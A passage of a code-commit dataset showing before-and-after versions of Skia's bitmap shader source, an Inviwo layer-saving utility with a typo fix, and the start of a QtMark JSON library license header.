matrix.preConcat(inverse);\n }\n SkShader::TileMode tm[] = {\n (TileMode)fState.fTileModeX,\n (TileMode)fState.fTileModeY,\n };\n\n \/\/ Must set wrap and filter on the sampler before requesting a texture.\n GrTextureParams params(tm, paint.isFilterBitmap());\n GrTexture* texture = GrLockCachedBitmapTexture(context, fRawBitmap, ¶ms);\n\n if (NULL == texture) {\n SkDebugf(\"Couldn't convert bitmap to texture.\\n\");\n return NULL;\n }\n\n GrEffect* effect = SkNEW_ARGS(GrSingleTextureEffect, (texture, matrix, params));\n GrUnlockCachedBitmapTexture(texture);\n return effect;\n}\n#endif\n<|endoftext|>"} {"text":"\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkBitmapProcShader.h\"\n#include \"SkBitmapProcState.h\"\n#include \"SkBitmapProvider.h\"\n#include \"SkColorPriv.h\"\n#include \"SkErrorInternals.h\"\n#include \"SkPixelRef.h\"\n#include \"SkReadBuffer.h\"\n#include \"SkWriteBuffer.h\"\n\n#if SK_SUPPORT_GPU\n#include \"SkGrPriv.h\"\n#include \"effects\/GrBicubicEffect.h\"\n#include \"effects\/GrSimpleTextureEffect.h\"\n#endif\n\nsize_t SkBitmapProcShader::ContextSize() {\n \/\/ The SkBitmapProcState is stored outside of the context object, with the context holding\n \/\/ a pointer to it.\n return sizeof(BitmapProcShaderContext) + sizeof(SkBitmapProcState);\n}\n\nSkBitmapProcShader::SkBitmapProcShader(const SkBitmap& src, TileMode tmx, TileMode tmy,\n const SkMatrix* localMatrix)\n : INHERITED(localMatrix) {\n fRawBitmap = src;\n fTileModeX = (uint8_t)tmx;\n fTileModeY = (uint8_t)tmy;\n}\n\nbool SkBitmapProcShader::onIsABitmap(SkBitmap* texture, SkMatrix* texM, TileMode xy[]) const {\n if (texture) {\n *texture = fRawBitmap;\n }\n if (texM) {\n texM->reset();\n }\n if (xy) {\n xy[0] = (TileMode)fTileModeX;\n xy[1] = (TileMode)fTileModeY;\n }\n return true;\n}\n\nSkFlattenable* SkBitmapProcShader::CreateProc(SkReadBuffer& buffer) {\n SkMatrix lm;\n buffer.readMatrix(&lm);\n SkBitmap bm;\n if (!buffer.readBitmap(&bm)) {\n return nullptr;\n }\n bm.setImmutable();\n TileMode mx = (TileMode)buffer.readUInt();\n TileMode my = (TileMode)buffer.readUInt();\n return SkShader::CreateBitmapShader(bm, mx, my, &lm);\n}\n\nvoid SkBitmapProcShader::flatten(SkWriteBuffer& buffer) const {\n buffer.writeMatrix(this->getLocalMatrix());\n buffer.writeBitmap(fRawBitmap);\n buffer.writeUInt(fTileModeX);\n buffer.writeUInt(fTileModeY);\n}\n\nbool SkBitmapProcShader::isOpaque() const {\n return fRawBitmap.isOpaque();\n}\n\nSkShader::Context* SkBitmapProcShader::MakeContext(const SkShader& shader,\n TileMode tmx, TileMode tmy,\n const SkBitmapProvider& provider,\n const ContextRec& rec, void* storage) {\n SkMatrix totalInverse;\n \/\/ Do this first, so we know the matrix can be inverted.\n if (!shader.computeTotalInverse(rec, &totalInverse)) {\n return nullptr;\n }\n\n void* stateStorage = (char*)storage + sizeof(BitmapProcShaderContext);\n SkBitmapProcState* state = new (stateStorage) SkBitmapProcState(provider, tmx, tmy);\n\n SkASSERT(state);\n if (!state->chooseProcs(totalInverse, *rec.fPaint)) {\n state->~SkBitmapProcState();\n return nullptr;\n }\n\n return new (storage) BitmapProcShaderContext(shader, rec, state);\n}\n\nSkShader::Context* SkBitmapProcShader::onCreateContext(const ContextRec& rec, void* storage) const {\n return MakeContext(*this, (TileMode)fTileModeX, (TileMode)fTileModeY,\n SkBitmapProvider(fRawBitmap), rec, storage);\n}\n\nSkBitmapProcShader::BitmapProcShaderContext::BitmapProcShaderContext(const SkShader& shader,\n const ContextRec& rec,\n SkBitmapProcState* state)\n : INHERITED(shader, rec)\n , fState(state)\n{\n fFlags = 0;\n if (fState->fPixmap.isOpaque() && (255 == this->getPaintAlpha())) {\n fFlags |= kOpaqueAlpha_Flag;\n }\n}\n\nSkBitmapProcShader::BitmapProcShaderContext::~BitmapProcShaderContext() {\n \/\/ The bitmap proc state has been created outside of the context on memory that will be freed\n \/\/ elsewhere. Only call the destructor but leave the freeing of the memory to the caller.\n fState->~SkBitmapProcState();\n}\n\n#define BUF_MAX 128\n\n#define TEST_BUFFER_OVERRITEx\n\n#ifdef TEST_BUFFER_OVERRITE\n #define TEST_BUFFER_EXTRA 32\n #define TEST_PATTERN 0x88888888\n#else\n #define TEST_BUFFER_EXTRA 0\n#endif\n\nvoid SkBitmapProcShader::BitmapProcShaderContext::shadeSpan(int x, int y, SkPMColor dstC[],\n int count) {\n const SkBitmapProcState& state = *fState;\n if (state.getShaderProc32()) {\n state.getShaderProc32()(&state, x, y, dstC, count);\n return;\n }\n\n uint32_t buffer[BUF_MAX + TEST_BUFFER_EXTRA];\n SkBitmapProcState::MatrixProc mproc = state.getMatrixProc();\n SkBitmapProcState::SampleProc32 sproc = state.getSampleProc32();\n int max = state.maxCountForBufferSize(sizeof(buffer[0]) * BUF_MAX);\n\n SkASSERT(state.fPixmap.addr());\n\n for (;;) {\n int n = count;\n if (n > max) {\n n = max;\n }\n SkASSERT(n > 0 && n < BUF_MAX*2);\n#ifdef TEST_BUFFER_OVERRITE\n for (int i = 0; i < TEST_BUFFER_EXTRA; i++) {\n buffer[BUF_MAX + i] = TEST_PATTERN;\n }\n#endif\n mproc(state, buffer, n, x, y);\n#ifdef TEST_BUFFER_OVERRITE\n for (int j = 0; j < TEST_BUFFER_EXTRA; j++) {\n SkASSERT(buffer[BUF_MAX + j] == TEST_PATTERN);\n }\n#endif\n sproc(state, buffer, n, dstC);\n\n if ((count -= n) == 0) {\n break;\n }\n SkASSERT(count > 0);\n x += n;\n dstC += n;\n }\n}\n\nSkShader::Context::ShadeProc SkBitmapProcShader::BitmapProcShaderContext::asAShadeProc(void** ctx) {\n if (fState->getShaderProc32()) {\n *ctx = fState;\n return (ShadeProc)fState->getShaderProc32();\n }\n return nullptr;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"SkUnPreMultiply.h\"\n#include \"SkColorShader.h\"\n#include \"SkEmptyShader.h\"\n\n\/\/ returns true and set color if the bitmap can be drawn as a single color\n\/\/ (for efficiency)\nstatic bool can_use_color_shader(const SkBitmap& bm, SkColor* color) {\n#ifdef SK_BUILD_FOR_ANDROID_FRAMEWORK\n \/\/ HWUI does not support color shaders (see b\/22390304)\n return false;\n#endif\n\n if (1 != bm.width() || 1 != bm.height()) {\n return false;\n }\n\n SkAutoLockPixels alp(bm);\n if (!bm.readyToDraw()) {\n return false;\n }\n\n switch (bm.colorType()) {\n case kN32_SkColorType:\n *color = SkUnPreMultiply::PMColorToColor(*bm.getAddr32(0, 0));\n return true;\n case kRGB_565_SkColorType:\n *color = SkPixel16ToColor(*bm.getAddr16(0, 0));\n return true;\n case kIndex_8_SkColorType:\n *color = SkUnPreMultiply::PMColorToColor(bm.getIndex8Color(0, 0));\n return true;\n default: \/\/ just skip the other configs for now\n break;\n }\n return false;\n}\n\nstatic bool bitmap_is_too_big(const SkBitmap& bm) {\n \/\/ SkBitmapProcShader stores bitmap coordinates in a 16bit buffer, as it\n \/\/ communicates between its matrix-proc and its sampler-proc. Until we can\n \/\/ widen that, we have to reject bitmaps that are larger.\n \/\/\n static const int kMaxSize = 65535;\n\n return bm.width() > kMaxSize || bm.height() > kMaxSize;\n}\n\nSkShader* SkCreateBitmapShader(const SkBitmap& src, SkShader::TileMode tmx,\n SkShader::TileMode tmy, const SkMatrix* localMatrix,\n SkTBlitterAllocator* allocator) {\n SkShader* shader;\n SkColor color;\n if (src.isNull() || bitmap_is_too_big(src)) {\n if (nullptr == allocator) {\n shader = new SkEmptyShader;\n } else {\n shader = allocator->createT();\n }\n } else if (can_use_color_shader(src, &color)) {\n if (nullptr == allocator) {\n shader = new SkColorShader(color);\n } else {\n shader = allocator->createT(color);\n }\n } else {\n if (nullptr == allocator) {\n shader = new SkBitmapProcShader(src, tmx, tmy, localMatrix);\n } else {\n shader = allocator->createT(src, tmx, tmy, localMatrix);\n }\n }\n return shader;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef SK_IGNORE_TO_STRING\nvoid SkBitmapProcShader::toString(SkString* str) const {\n static const char* gTileModeName[SkShader::kTileModeCount] = {\n \"clamp\", \"repeat\", \"mirror\"\n };\n\n str->append(\"BitmapShader: (\");\n\n str->appendf(\"(%s, %s)\",\n gTileModeName[fTileModeX],\n gTileModeName[fTileModeY]);\n\n str->append(\" \");\n fRawBitmap.toString(str);\n\n this->INHERITED::toString(str);\n\n str->append(\")\");\n}\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if SK_SUPPORT_GPU\n\n#include \"GrTextureAccess.h\"\n#include \"SkGr.h\"\n#include \"effects\/GrSimpleTextureEffect.h\"\n\nconst GrFragmentProcessor* SkBitmapProcShader::asFragmentProcessor(GrContext* context,\n const SkMatrix& viewM, const SkMatrix* localMatrix,\n SkFilterQuality filterQuality) const {\n SkMatrix matrix;\n matrix.setIDiv(fRawBitmap.width(), fRawBitmap.height());\n\n SkMatrix lmInverse;\n if (!this->getLocalMatrix().invert(&lmInverse)) {\n return nullptr;\n }\n if (localMatrix) {\n SkMatrix inv;\n if (!localMatrix->invert(&inv)) {\n return nullptr;\n }\n lmInverse.postConcat(inv);\n }\n matrix.preConcat(lmInverse);\n\n SkShader::TileMode tm[] = {\n (TileMode)fTileModeX,\n (TileMode)fTileModeY,\n };\n\n \/\/ Must set wrap and filter on the sampler before requesting a texture. In two places below\n \/\/ we check the matrix scale factors to determine how to interpret the filter quality setting.\n \/\/ This completely ignores the complexity of the drawVertices case where explicit local coords\n \/\/ are provided by the caller.\n bool doBicubic;\n GrTextureParams::FilterMode textureFilterMode =\n GrSkFilterQualityToGrFilterMode(filterQuality, viewM, this->getLocalMatrix(),\n &doBicubic);\n GrTextureParams params(tm, textureFilterMode);\n SkAutoTUnref texture(GrRefCachedBitmapTexture(context, fRawBitmap, params));\n\n if (!texture) {\n SkErrorInternals::SetError( kInternalError_SkError,\n \"Couldn't convert bitmap to texture.\");\n return nullptr;\n }\n\n SkAutoTUnref inner;\n if (doBicubic) {\n inner.reset(GrBicubicEffect::Create(texture, matrix, tm));\n } else {\n inner.reset(GrSimpleTextureEffect::Create(texture, matrix, params));\n }\n\n if (kAlpha_8_SkColorType == fRawBitmap.colorType()) {\n return GrFragmentProcessor::MulOutputByInputUnpremulColor(inner);\n }\n return GrFragmentProcessor::MulOutputByInputAlpha(inner);\n}\n\n#endif\nrestore lost optimization when the shader can report const_in_y\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkBitmapProcShader.h\"\n#include \"SkBitmapProcState.h\"\n#include \"SkBitmapProvider.h\"\n#include \"SkColorPriv.h\"\n#include \"SkErrorInternals.h\"\n#include \"SkPixelRef.h\"\n#include \"SkReadBuffer.h\"\n#include \"SkWriteBuffer.h\"\n\n#if SK_SUPPORT_GPU\n#include \"SkGrPriv.h\"\n#include \"effects\/GrBicubicEffect.h\"\n#include \"effects\/GrSimpleTextureEffect.h\"\n#endif\n\nsize_t SkBitmapProcShader::ContextSize() {\n \/\/ The SkBitmapProcState is stored outside of the context object, with the context holding\n \/\/ a pointer to it.\n return sizeof(BitmapProcShaderContext) + sizeof(SkBitmapProcState);\n}\n\nSkBitmapProcShader::SkBitmapProcShader(const SkBitmap& src, TileMode tmx, TileMode tmy,\n const SkMatrix* localMatrix)\n : INHERITED(localMatrix) {\n fRawBitmap = src;\n fTileModeX = (uint8_t)tmx;\n fTileModeY = (uint8_t)tmy;\n}\n\nbool SkBitmapProcShader::onIsABitmap(SkBitmap* texture, SkMatrix* texM, TileMode xy[]) const {\n if (texture) {\n *texture = fRawBitmap;\n }\n if (texM) {\n texM->reset();\n }\n if (xy) {\n xy[0] = (TileMode)fTileModeX;\n xy[1] = (TileMode)fTileModeY;\n }\n return true;\n}\n\nSkFlattenable* SkBitmapProcShader::CreateProc(SkReadBuffer& buffer) {\n SkMatrix lm;\n buffer.readMatrix(&lm);\n SkBitmap bm;\n if (!buffer.readBitmap(&bm)) {\n return nullptr;\n }\n bm.setImmutable();\n TileMode mx = (TileMode)buffer.readUInt();\n TileMode my = (TileMode)buffer.readUInt();\n return SkShader::CreateBitmapShader(bm, mx, my, &lm);\n}\n\nvoid SkBitmapProcShader::flatten(SkWriteBuffer& buffer) const {\n buffer.writeMatrix(this->getLocalMatrix());\n buffer.writeBitmap(fRawBitmap);\n buffer.writeUInt(fTileModeX);\n buffer.writeUInt(fTileModeY);\n}\n\nbool SkBitmapProcShader::isOpaque() const {\n return fRawBitmap.isOpaque();\n}\n\nSkShader::Context* SkBitmapProcShader::MakeContext(const SkShader& shader,\n TileMode tmx, TileMode tmy,\n const SkBitmapProvider& provider,\n const ContextRec& rec, void* storage) {\n SkMatrix totalInverse;\n \/\/ Do this first, so we know the matrix can be inverted.\n if (!shader.computeTotalInverse(rec, &totalInverse)) {\n return nullptr;\n }\n\n void* stateStorage = (char*)storage + sizeof(BitmapProcShaderContext);\n SkBitmapProcState* state = new (stateStorage) SkBitmapProcState(provider, tmx, tmy);\n\n SkASSERT(state);\n if (!state->chooseProcs(totalInverse, *rec.fPaint)) {\n state->~SkBitmapProcState();\n return nullptr;\n }\n\n return new (storage) BitmapProcShaderContext(shader, rec, state);\n}\n\nSkShader::Context* SkBitmapProcShader::onCreateContext(const ContextRec& rec, void* storage) const {\n return MakeContext(*this, (TileMode)fTileModeX, (TileMode)fTileModeY,\n SkBitmapProvider(fRawBitmap), rec, storage);\n}\n\nstatic bool only_scale_and_translate(const SkMatrix& matrix) {\n unsigned mask = SkMatrix::kTranslate_Mask | SkMatrix::kScale_Mask;\n return (matrix.getType() & ~mask) == 0;\n}\n\nSkBitmapProcShader::BitmapProcShaderContext::BitmapProcShaderContext(const SkShader& shader,\n const ContextRec& rec,\n SkBitmapProcState* state)\n : INHERITED(shader, rec)\n , fState(state)\n{\n fFlags = 0;\n if (fState->fPixmap.isOpaque() && (255 == this->getPaintAlpha())) {\n fFlags |= kOpaqueAlpha_Flag;\n }\n\n if (1 == fState->fPixmap.height() && only_scale_and_translate(this->getTotalInverse())) {\n fFlags |= kConstInY32_Flag;\n }\n}\n\nSkBitmapProcShader::BitmapProcShaderContext::~BitmapProcShaderContext() {\n \/\/ The bitmap proc state has been created outside of the context on memory that will be freed\n \/\/ elsewhere. Only call the destructor but leave the freeing of the memory to the caller.\n fState->~SkBitmapProcState();\n}\n\n#define BUF_MAX 128\n\n#define TEST_BUFFER_OVERRITEx\n\n#ifdef TEST_BUFFER_OVERRITE\n #define TEST_BUFFER_EXTRA 32\n #define TEST_PATTERN 0x88888888\n#else\n #define TEST_BUFFER_EXTRA 0\n#endif\n\nvoid SkBitmapProcShader::BitmapProcShaderContext::shadeSpan(int x, int y, SkPMColor dstC[],\n int count) {\n const SkBitmapProcState& state = *fState;\n if (state.getShaderProc32()) {\n state.getShaderProc32()(&state, x, y, dstC, count);\n return;\n }\n\n uint32_t buffer[BUF_MAX + TEST_BUFFER_EXTRA];\n SkBitmapProcState::MatrixProc mproc = state.getMatrixProc();\n SkBitmapProcState::SampleProc32 sproc = state.getSampleProc32();\n int max = state.maxCountForBufferSize(sizeof(buffer[0]) * BUF_MAX);\n\n SkASSERT(state.fPixmap.addr());\n\n for (;;) {\n int n = count;\n if (n > max) {\n n = max;\n }\n SkASSERT(n > 0 && n < BUF_MAX*2);\n#ifdef TEST_BUFFER_OVERRITE\n for (int i = 0; i < TEST_BUFFER_EXTRA; i++) {\n buffer[BUF_MAX + i] = TEST_PATTERN;\n }\n#endif\n mproc(state, buffer, n, x, y);\n#ifdef TEST_BUFFER_OVERRITE\n for (int j = 0; j < TEST_BUFFER_EXTRA; j++) {\n SkASSERT(buffer[BUF_MAX + j] == TEST_PATTERN);\n }\n#endif\n sproc(state, buffer, n, dstC);\n\n if ((count -= n) == 0) {\n break;\n }\n SkASSERT(count > 0);\n x += n;\n dstC += n;\n }\n}\n\nSkShader::Context::ShadeProc SkBitmapProcShader::BitmapProcShaderContext::asAShadeProc(void** ctx) {\n if (fState->getShaderProc32()) {\n *ctx = fState;\n return (ShadeProc)fState->getShaderProc32();\n }\n return nullptr;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"SkUnPreMultiply.h\"\n#include \"SkColorShader.h\"\n#include \"SkEmptyShader.h\"\n\n\/\/ returns true and set color if the bitmap can be drawn as a single color\n\/\/ (for efficiency)\nstatic bool can_use_color_shader(const SkBitmap& bm, SkColor* color) {\n#ifdef SK_BUILD_FOR_ANDROID_FRAMEWORK\n \/\/ HWUI does not support color shaders (see b\/22390304)\n return false;\n#endif\n\n if (1 != bm.width() || 1 != bm.height()) {\n return false;\n }\n\n SkAutoLockPixels alp(bm);\n if (!bm.readyToDraw()) {\n return false;\n }\n\n switch (bm.colorType()) {\n case kN32_SkColorType:\n *color = SkUnPreMultiply::PMColorToColor(*bm.getAddr32(0, 0));\n return true;\n case kRGB_565_SkColorType:\n *color = SkPixel16ToColor(*bm.getAddr16(0, 0));\n return true;\n case kIndex_8_SkColorType:\n *color = SkUnPreMultiply::PMColorToColor(bm.getIndex8Color(0, 0));\n return true;\n default: \/\/ just skip the other configs for now\n break;\n }\n return false;\n}\n\nstatic bool bitmap_is_too_big(const SkBitmap& bm) {\n \/\/ SkBitmapProcShader stores bitmap coordinates in a 16bit buffer, as it\n \/\/ communicates between its matrix-proc and its sampler-proc. Until we can\n \/\/ widen that, we have to reject bitmaps that are larger.\n \/\/\n static const int kMaxSize = 65535;\n\n return bm.width() > kMaxSize || bm.height() > kMaxSize;\n}\n\nSkShader* SkCreateBitmapShader(const SkBitmap& src, SkShader::TileMode tmx,\n SkShader::TileMode tmy, const SkMatrix* localMatrix,\n SkTBlitterAllocator* allocator) {\n SkShader* shader;\n SkColor color;\n if (src.isNull() || bitmap_is_too_big(src)) {\n if (nullptr == allocator) {\n shader = new SkEmptyShader;\n } else {\n shader = allocator->createT();\n }\n } else if (can_use_color_shader(src, &color)) {\n if (nullptr == allocator) {\n shader = new SkColorShader(color);\n } else {\n shader = allocator->createT(color);\n }\n } else {\n if (nullptr == allocator) {\n shader = new SkBitmapProcShader(src, tmx, tmy, localMatrix);\n } else {\n shader = allocator->createT(src, tmx, tmy, localMatrix);\n }\n }\n return shader;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef SK_IGNORE_TO_STRING\nvoid SkBitmapProcShader::toString(SkString* str) const {\n static const char* gTileModeName[SkShader::kTileModeCount] = {\n \"clamp\", \"repeat\", \"mirror\"\n };\n\n str->append(\"BitmapShader: (\");\n\n str->appendf(\"(%s, %s)\",\n gTileModeName[fTileModeX],\n gTileModeName[fTileModeY]);\n\n str->append(\" \");\n fRawBitmap.toString(str);\n\n this->INHERITED::toString(str);\n\n str->append(\")\");\n}\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if SK_SUPPORT_GPU\n\n#include \"GrTextureAccess.h\"\n#include \"SkGr.h\"\n#include \"effects\/GrSimpleTextureEffect.h\"\n\nconst GrFragmentProcessor* SkBitmapProcShader::asFragmentProcessor(GrContext* context,\n const SkMatrix& viewM, const SkMatrix* localMatrix,\n SkFilterQuality filterQuality) const {\n SkMatrix matrix;\n matrix.setIDiv(fRawBitmap.width(), fRawBitmap.height());\n\n SkMatrix lmInverse;\n if (!this->getLocalMatrix().invert(&lmInverse)) {\n return nullptr;\n }\n if (localMatrix) {\n SkMatrix inv;\n if (!localMatrix->invert(&inv)) {\n return nullptr;\n }\n lmInverse.postConcat(inv);\n }\n matrix.preConcat(lmInverse);\n\n SkShader::TileMode tm[] = {\n (TileMode)fTileModeX,\n (TileMode)fTileModeY,\n };\n\n \/\/ Must set wrap and filter on the sampler before requesting a texture. In two places below\n \/\/ we check the matrix scale factors to determine how to interpret the filter quality setting.\n \/\/ This completely ignores the complexity of the drawVertices case where explicit local coords\n \/\/ are provided by the caller.\n bool doBicubic;\n GrTextureParams::FilterMode textureFilterMode =\n GrSkFilterQualityToGrFilterMode(filterQuality, viewM, this->getLocalMatrix(),\n &doBicubic);\n GrTextureParams params(tm, textureFilterMode);\n SkAutoTUnref texture(GrRefCachedBitmapTexture(context, fRawBitmap, params));\n\n if (!texture) {\n SkErrorInternals::SetError( kInternalError_SkError,\n \"Couldn't convert bitmap to texture.\");\n return nullptr;\n }\n\n SkAutoTUnref inner;\n if (doBicubic) {\n inner.reset(GrBicubicEffect::Create(texture, matrix, tm));\n } else {\n inner.reset(GrSimpleTextureEffect::Create(texture, matrix, params));\n }\n\n if (kAlpha_8_SkColorType == fRawBitmap.colorType()) {\n return GrFragmentProcessor::MulOutputByInputUnpremulColor(inner);\n }\n return GrFragmentProcessor::MulOutputByInputAlpha(inner);\n}\n\n#endif\n<|endoftext|>"} {"text":"\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2017 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nnamespace inviwo {\n\nnamespace util {\n\nvoid util::saveLayer(const Layer& layer, const std::string& path, const FileExtension& extension) {\n auto factory = InviwoApplication::getPtr()->getDataWriterFactory();\n\n auto writer = std::shared_ptr>(\n factory->getWriterForTypeAndExtension(extension));\n\n if (!writer) {\n \/\/ could not find a reader for the given extension, extension might be invalid\n \/\/ try to get reader for the extension extracted from the file name, i.e. path\n const auto ext = filesystem::getFileExtension(path);\n writer = std::shared_ptr>(\n factory->getWriterForTypeAndExtension(ext));\n if (!writer) {\n LogInfoCustom(\n \"ImageWriterUtil\",\n \"Could not find a writer for the specified file extension (\\\"\" << ext << \"\\\")\");\n return;\n }\n }\n\n try {\n writer->setOverwrite(true);\n writer->writeData(&layer, path);\n LogInfoCustom(\"ImageWriterUtil\", \"Canvas layer exported to disk: \" << path);\n } catch (DataWriterException const& e) {\n LogErrorCustom(\"ImageWriterUtil\", e.getMessage());\n }\n}\n\nIVW_CORE_API void saveLayer(const Layer& layer) {\n auto fileDialog = util::dynamic_unique_ptr_cast(\n InviwoApplication::getPtr()->getDialogFactory()->create(\"FileDialog\"));\n if (!fileDialog) {\n return;\n }\n fileDialog->setTitle(\"Save Layer to File...\");\n fileDialog->setAcceptMode(AcceptMode::Save);\n fileDialog->setFileMode(FileMode::AnyFile);\n\n auto writerFactory = InviwoApplication::getPtr()->getDataWriterFactory();\n fileDialog->addExtensions(writerFactory->getExtensionsForType());\n\n if (fileDialog->show()) {\n saveLayer(layer, fileDialog->getSelectedFile(), fileDialog->getSelectedFileExtension());\n }\n}\n\n} \/\/ namespace\n\n} \/\/ namespace\n\nCore: typo fix\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2017 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nnamespace inviwo {\n\nnamespace util {\n\nvoid saveLayer(const Layer& layer, const std::string& path, const FileExtension& extension) {\n auto factory = InviwoApplication::getPtr()->getDataWriterFactory();\n\n auto writer = std::shared_ptr>(\n factory->getWriterForTypeAndExtension(extension));\n\n if (!writer) {\n \/\/ could not find a reader for the given extension, extension might be invalid\n \/\/ try to get reader for the extension extracted from the file name, i.e. path\n const auto ext = filesystem::getFileExtension(path);\n writer = std::shared_ptr>(\n factory->getWriterForTypeAndExtension(ext));\n if (!writer) {\n LogInfoCustom(\n \"ImageWriterUtil\",\n \"Could not find a writer for the specified file extension (\\\"\" << ext << \"\\\")\");\n return;\n }\n }\n\n try {\n writer->setOverwrite(true);\n writer->writeData(&layer, path);\n LogInfoCustom(\"ImageWriterUtil\", \"Canvas layer exported to disk: \" << path);\n } catch (DataWriterException const& e) {\n LogErrorCustom(\"ImageWriterUtil\", e.getMessage());\n }\n}\n\nvoid saveLayer(const Layer& layer) {\n auto fileDialog = util::dynamic_unique_ptr_cast(\n InviwoApplication::getPtr()->getDialogFactory()->create(\"FileDialog\"));\n if (!fileDialog) {\n return;\n }\n fileDialog->setTitle(\"Save Layer to File...\");\n fileDialog->setAcceptMode(AcceptMode::Save);\n fileDialog->setFileMode(FileMode::AnyFile);\n\n auto writerFactory = InviwoApplication::getPtr()->getDataWriterFactory();\n fileDialog->addExtensions(writerFactory->getExtensionsForType());\n\n if (fileDialog->show()) {\n saveLayer(layer, fileDialog->getSelectedFile(), fileDialog->getSelectedFileExtension());\n }\n}\n\n} \/\/ namespace\n\n} \/\/ namespace\n\n<|endoftext|>"} {"text":"\/\/\n\/\/ QtMark JSON Library\n\/\/\n\/\/ Copyright (C) 2015 Assured Information Security, Inc.\n\/\/ Author: Rian Quinn \n\/\/ Author: Rodney Forbes \n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed 